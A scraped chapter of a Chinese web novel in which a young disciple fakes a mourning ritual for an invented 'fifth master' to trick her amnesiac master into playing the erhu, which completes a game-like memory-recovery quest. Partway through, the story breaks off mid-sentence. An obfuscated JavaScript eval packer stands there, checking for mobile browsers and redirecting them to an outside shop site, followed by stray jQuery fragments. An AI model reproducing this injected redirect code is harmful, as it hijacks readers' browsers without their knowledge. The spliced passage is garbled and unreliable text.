默认冷灰
24号文字
方正启体

47. 庄花居然会拉二胡!

作者:沉山烟月本书字数:K更新时间:
    云华水月接取了那个【终极任务:音乐的魅力】之后,整个人就陷入了一种既兴奋又心虚、既悲壮又忍不住想笑的复杂情绪里。


    让庄花拉二胡……


    这画面光是想想,就让她头皮发麻,脚趾抠地,同时又莫名地……有点期待?


    不行不行,不能笑,要严肃!这是为了师娘!为了师弟师妹!为了师父的记忆恢复!为了世界和平!


    她给自己做着心理建设,眼神却越来越亮,像只准备偷鸡的小狐狸。


    首先,得准备道具。


    二胡当然不能凭空变出来,得去买。


    云华水月揣着自己攒下的一点零花钱,还有她自己偶尔“帮忙”后得到的赏钱溜出了相府,熟门熟路地摸到了东市一家乐器铺子。


    她个子小,穿着又显眼,一进门就吸引了掌柜的注意。


    “小小姐,想买点什么?我们这儿琴瑟琵琶,样样俱全。”掌柜的见她衣着华贵,笑容满面地招呼。


    云华水月背着手,装模作样地在店里转了一圈,目光扫过那些古琴、琵琶、笛箫,最后定格在一把挂在墙上的看起来颇为精致的二胡上。


    “我要那个。”她小手一指。


    掌柜的愣了一下,看了看她,又看了看那把二胡,迟疑道:“小小姐,这二胡……音色苍凉,多是……嗯,年长者或江湖艺人操弄,您这年纪……”


    “我买来送人的!”云华水月打断他,掏出钱袋,倒出几块碎银,“就要这个,包起来。”


    掌柜的见她给钱爽快,便也不再多问,取下二胡,用布包好递给她。


    云华水月抱着二胡,又去杂货铺买了些黄纸、香烛,还有一个小巧的铜盆。


    一切准备就绪,就等时机了。


    接下来的两天,她表现得异常乖巧,除了日常去观澜院请安,陪林芊雅说说话,就是自己待在客院,偶尔能听到她房间里传出几声不成调的锯木头似的二胡声,听得守院的婆子直皱眉,以为这小客人又在折腾什么新玩意儿。


    林芊雅也听到了,问起来,云华水月只说是新学的乐器,练着玩。林芊雅也没多想,只叮嘱她别太吵着旁人。


    终于,到了云华水月选定的“良辰吉日”——一个看似寻常的夜晚。


    月黑风高……哦不,月色其实还行,只是云层有些厚,光线朦朦胧胧的。


    府里众人大都歇下了,一片寂静。


    云华水月估摸着时间差不多了,便抱着她的“作案工具”,蹑手蹑脚地溜到了后花园一处相对僻静的角落,假山背后,几丛竹子掩映着。


    她先在地上铺了块布,摆上那个铜盆,点燃香烛插在旁边的土里,又拿出一叠黄纸,放在手边。


    然后,她深吸一口气,酝酿了一下情绪。


    “呜……呜呜……”


    起初是压抑的、断断续续的抽泣声。


    渐渐,声音大了起来,带着明显的哭腔。


    “五庄主……呜呜呜……五庄主啊……”


    她一边哭,一边拿起一张黄纸,凑到蜡烛上点燃,然后丢进铜盆里。火光跳跃,映着她那张努力挤出悲伤表情的小脸。


    “你一路走好啊……呜呜……五庄主……你在下面要多吃点纸钱啊……别省着……呜呜……”


    她哭得情真意切,仿佛真的在祭奠一位至亲好友。


    “五庄主……你要是没钱用了……你就给我托个梦啊……呜呜……我一定多烧点给你……”


    哭声在寂静的花园里回荡,显得格外凄清。


    果然,没过多久,观澜院那边就有了动静。


    先是林芊雅被这隐隐约约的哭声吵醒,她本就觉浅,又怀着身孕,睡眠更是不安稳。她推了推身边的叶英:“夫君,你听……是不是水月在哭?”


    叶英也醒了,侧耳听了听,眉头微蹙。那哭声断断续续,还夹杂着含糊的念叨,确实像是云华水月的声音。


    两人对视一眼,都有些不放心。


    这大半夜的,那丫头又在搞什么?


    林芊雅起身披了件外衣,叶英扶着她,两人循着哭声,慢慢走到了花园。


    绕过假山,眼前的景象让两人都愣住了。


    只见云华水月跪在一个燃着火苗的铜盆前,面前散落着黄纸,旁边还点着香烛。她小脸上泪痕交错,眼睛红红的,正一边往火盆里丢纸钱,一边抽抽搭搭地哭嚎:


    “五庄主……你死得好惨啊……呜呜……连个给你拉二胡送行的人都没有了啊……呜呜呜……”


    她哭得投入,似乎没注意到有人靠近。


    直到林芊雅忍不住轻咳了一声,云华水月才像是被惊到一般,猛地转过头。


    看到叶英和林芊雅,她先是“吓了一跳”,随即脸上露出“惊喜”和“委屈”交织的复杂表情,然后——


    “师父!师娘!”


    她“哇”地一声,从地上爬起来,像颗小炮弹一样直冲过来,目标明确又一把抱住了叶英的腿。


    这一次,她抱得比上次更紧,还把满是鼻涕眼泪的小脸使劲往叶英干净的衣摆上蹭了蹭。


    叶英身体一僵,低头看着自己腿上新增的湿痕眉头皱得能夹死蚊子了。


    林芊雅也看得眼角直抽,连忙递了块帕子过去:“水月,快擦擦。这大半夜的,你在这儿哭什么?祭拜谁呢?”


    云华水月接过帕子,却没擦脸,只是用它捂住眼睛,肩膀一抽一抽的,声音带着浓重的哭腔:“师娘……我在祭拜五庄主……呜呜……我可怜的结拜兄弟啊……”


    结拜兄弟?五庄主?


    叶英和林芊雅都愣了一下。


    叶英是隐约记得云华水月提过山庄里有个行五的弟弟,但具体如何,他并无印象。


    林芊雅则是完全不明所以,只当是水月以前认识的人。


    “五庄主?是你以前的……朋友?”林芊雅温声问,试图理清头绪。


    云华水月用力点头,眼泪又涌了出来:“嗯!是我最好的结拜兄弟!藏剑山庄的五庄主,叶凡!”


    她一边说,一边偷偷观察叶英的表情。


    叶英听到“叶凡”这个名字,眉头几不可查地动了一下。


    这个名字,他听云华水月提过,是他那个据说小时候很顽皮爱往外跑的五弟。


    “他……怎么了?”叶英开口,声音有些沉。虽然记忆模糊,但听到“兄弟”可能遭遇不测,心里还是莫名一紧。


    云华水月见师父上钩,心里暗喜,面上却哭得更伤心了:“他……他英年早逝!死于非命啊!呜呜呜……可惨了!”


    死于非命?


    叶英的心又沉了沉。


    林芊雅也面露不忍,轻轻拍了拍云华水月的背:“节哀。既是你的好友,也是夫君的弟弟,我们理当祭奠。只是……你方才说什么拉二胡送行?”


    提到这个,云华水月立刻来了精神,她抬起泪眼朦胧的脸,看向叶英,语气变得“郑重”起来:


    “师父,您可能不记得了。但是五庄主他……生前最喜欢听歌听曲了!尤其是……尤其是他师傅吹的笛子!”


    她顿了顿,在心里给老王道了个歉,然后继续编:“但是吧,他师傅那笛子吹得……嗯,比较有特色,五庄主虽然喜欢听师傅吹,但也总念叨,说这世间若论音乐雅致,还得是师父您拉的二胡最是动人心弦!”


    叶英:“……?”


    林芊雅:“……?”


    二胡?动人心弦?


    叶英看着云华水月那“真诚”无比的眼神,第一次对自己的过去产生了深深的怀疑。


    他……会拉二胡?还拉得动人心弦?


    云华水月趁热打铁,语气更加“沉痛”:“五庄主生前最大的遗憾,就是没能亲耳再听师父您拉一曲二胡。他临终前还拉着我的手说,以后每年祭日,若能听到师父在墓前为他拉一曲二胡送行,他在九泉之下也能瞑目了!”


    “所以……所以从那以后,每年五庄主的祭日,师父您都会去他墓前,亲手拉上一曲二胡,为他送行……风雨无阻,从未间断……”


    她说着,又挤出两滴眼泪:“可是现在……师父您失忆了,我们也都流落在此,祭拜的人没有了,连二胡也没人拉给他听了!他真的好惨啊!呜呜呜……”


    她一边哭,一边偷偷瞟着叶英的反应。


    叶英沉默地站在那儿,月光照在他没什么表情的脸上。


    他总觉得……这徒弟在胡说八道。


    什么喜欢听他拉二胡?什么临终遗言?


    怎么听怎么像现编的。


    可是……万一是真的呢?


    万一他那个素未谋面据说已经“英年早逝”的五弟,真的有过这样的心愿呢?


    他如今记忆不全,无法验证。若因自己不信,而让弟弟在“九泉之下”不得安宁……


    云华水月见他沉默,心里有点打鼓,连忙又加了一把火,指着旁边地上那把用布包着的二胡,抽噎着说:“师父……您看,我把二胡都准备好了……是我用所有零花钱买的……就想替五庄主完成这个心愿……哪怕就拉一小段呢?让他在下面也能听听……”


    林芊雅看着这情景,又看看夫君那明显陷入纠结的侧脸,心里觉得好笑,又有些无奈。


    这丫头,为了让她师父拉二胡,真是煞费苦心,连这种理由都搬出来了。


    她轻轻拉了拉叶英的衣袖,低声道:


    “夫君,若真是五弟的心愿……便了却他一桩心事也好。只是……”她看了看那把二胡,又看看云华水月,“水月,你师父他……当真会拉?”


    云华水月立刻点头如捣蒜:“会!当然会!师父拉得可好了!是五庄主亲口说的!”


    叶英:“……”


    他一点印象都没有。


    但眼下这情形,似乎由不得他拒绝了。


    被亡弟遗愿架着,被小徒弟眼泪汪汪地看着,被妻子温言劝着……


    叶英闭了闭眼,再睁开时,眼底一片认命般的平静。


    他走到那把二胡旁,弯腰捡了起来。


    入手微沉,琴杆光滑,他试着用手指拨了拨琴弦,只发出两声干涩的“吱嘎”声。


    云华水月眼睛瞬间亮了,连忙凑过来,殷勤地递上松香:“师父,给!抹点这个,声音好听!”


    叶英接过,依言拉了拉弦。动作有些生疏,但架势倒像那么回事。


    “拉什么曲子?”他问,声音没什么起伏。


    云华水月立刻报出早就想好的曲名:“《依山观澜》!五庄主最喜欢这首了!他说这曲子就像是为师父您量身定做的!”


    《依山观澜》?


    叶英默念了一遍这个名字,只觉心底似乎有什么极细微的东西被触动了一下,却又抓不住。


    莫名觉得这个名字心有所感。


    “怎么拉?”他问得直接。


    既然答应了,便要做。哪怕他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224212|197544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    完全不记得曲调。


    云华水月早有准备,清了清嗓子,开始哼唱起来:


    “莺鸣杨柳外~~~曲苑风来荷花展~~~”


    她唱得不算好听,甚至有点跑调,但调子倒是哼出来了,带着一种江湖小调的随意感。


    叶英听着,凭着对音律那点模糊的本能记忆和手上生疏的感觉,试着将弓子搭上琴弦,缓缓拉动。


    “吱——嘎——!”


    第一声出来,尖锐刺耳,像钝刀划拉破锅底。


    云华水月唱词的声音卡了一下。


    林芊雅忍不住抬手捂了捂耳朵,又赶紧放下,努力维持着表情。


    叶英自己也顿住了,低头看了看手里的二胡,眉头蹙得更紧。


    但他没停。


    调整了一下持琴的姿势和运弓的力道,又试了一次。


    “吱……嘎……啦……”


    这次稍微好了一点点,但依旧难听,像是母猫发情时的夜嚎,又像是野狗夜半的犬吠。


    云华水月硬着头皮,继续唱:“月凝听泉台~~~断桥雪隐梅香探~~~”


    叶英跟着她哼唱的节奏,一下一下地拉着。


    起初的刺耳噪音渐渐变得……规律了一些,虽然依旧谈不上悦耳,甚至可以说得上是折磨,但至少能听出是在试图跟随某个旋律了。


    “四季轮回转~~~君子年少独凭栏~~~抱剑观花西湖畔~~~”


    云华水月越唱越投入,闭着眼睛,仿佛沉浸在自己的歌声和……师父那“独特”的伴奏里。


    叶英也渐渐找到了点感觉。


    他虽不记得曲谱,但这哼唱的调子,莫名地让他觉得熟悉,仿佛在很久很久以前,真的在哪里听过,或者……想过?


    手中的二胡声,从最初的锯木头,慢慢变得……嗯,至少不那么像杀鸡了。虽然依旧苍凉得紧,但偶尔也能拉出几个勉强算得上圆润的音符。


    夜色凄清,花园僻静。假山旁,烛火摇曳,铜盆里的纸钱将熄未熄,冒着缕缕青烟。


    一个八九岁的小姑娘闭眼哼唱着调子古怪的歌谣。


    一个白发如雪面容清冷的男子,生疏而认真地拉着一把二胡,胡声呕哑嘲哳,与歌声混在一起,构成一幅极其诡异又莫名和谐的……祭奠画面。


    林芊雅站在几步之外,看着这一幕,嘴角忍不住抽了抽。


    她抬手,轻轻摸了摸自己高高隆起的肚子,心里默默地对里面的两个孩子说:


    “宝啊,不管你们是儿是女,以后长大了……可千万少跟着你们这师姐混。”


    “娘怕你们……被她带得不正常。”


    肚子里,两个小家伙似乎也被外面这“美妙”的音乐给惊动了,不安分地动了动。


    林芊雅感受着那轻微的胎动,再看看那边“深情”演奏的师徒俩,终于忍不住,背过身去,肩膀微微耸动起来。


    不能笑,不能笑。


    夫君已经很努力了,水月也是一片“孝心”。


    虽然这孝心的方式,实在让人……无言以对。


    夜色渐深,那“依山观澜”的调子,在叶英手中那把饱受摧残的二胡上,断断续续地响了小半个时辰。


    直到云华水月唱得口干舌燥,叶英也拉得手腕发酸,两人才终于停了下来。


    云华水月看着系统面板上跳出的【任务完成!奖励已发放!】的提示,以及叶英头像下那又悄悄往前挪了一小截的记忆恢复进度条,心满意足地松了口气。


    虽然过程有点……嗯,难以形容,但结果是好的!


    她擦了擦并不存在的冷汗,看向叶英,脸上堆起讨好的笑:“师父,您拉得真好!五庄主在下面一定听到了!他肯定很高兴!”


    叶英放下二胡,活动了一下有些僵硬的手指,没说话。


    他只是看着那把二胡,又看了看铜盆里燃尽的纸灰,心中那点因亡弟而生的淡淡怅惘,似乎也随着这古怪的琴声,飘散了些许。


    至于拉得好不好……


    他选择忽略这个问题。


    林芊雅走过来,挽住他的胳膊,温声道:“夜深了,回去歇着吧。水月,你也快回去,仔细着凉。”


    云华水月连忙点头,手脚麻利地收拾起地上的作案工具,抱着二胡一溜烟跑回了客院。


    回到观澜院,林芊雅服了安胎药,重新躺下。


    叶英在她身边躺下,手臂习惯性地环过她,掌心覆在她腹侧。


    屋里安静下来。


    过了一会儿,林芊雅忽然轻声开口,语气里带着浓浓的笑意:


    “夫君。”


    “嗯?”


    “你以后……还是别拉二胡了。”


    “你拉的时候,孩子一直在狂跟我打招呼。”说到这儿她憋不住又笑出了声。


    叶英沉默了一下,低低嗯了一声。


    “不过,”林芊雅翻了个身,面对着他,在黑暗中看着他模糊的轮廓,声音更软了些,“水月那孩子……虽然胡闹,但心是好的。”


    叶英又嗯了一声,将她往怀里带了带。


    “睡吧。”他说。


    林芊雅靠在他怀里,闭上眼睛,嘴角却依旧弯着。


    夜色深沉,万籁俱寂。


    只有客院里,某个完成“壮举”的小丫头,正抱着被子,看着系统奖励,笑得见牙不见眼。


    师父,对不住啦!下次……下次我一定找个更靠谱的理由!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)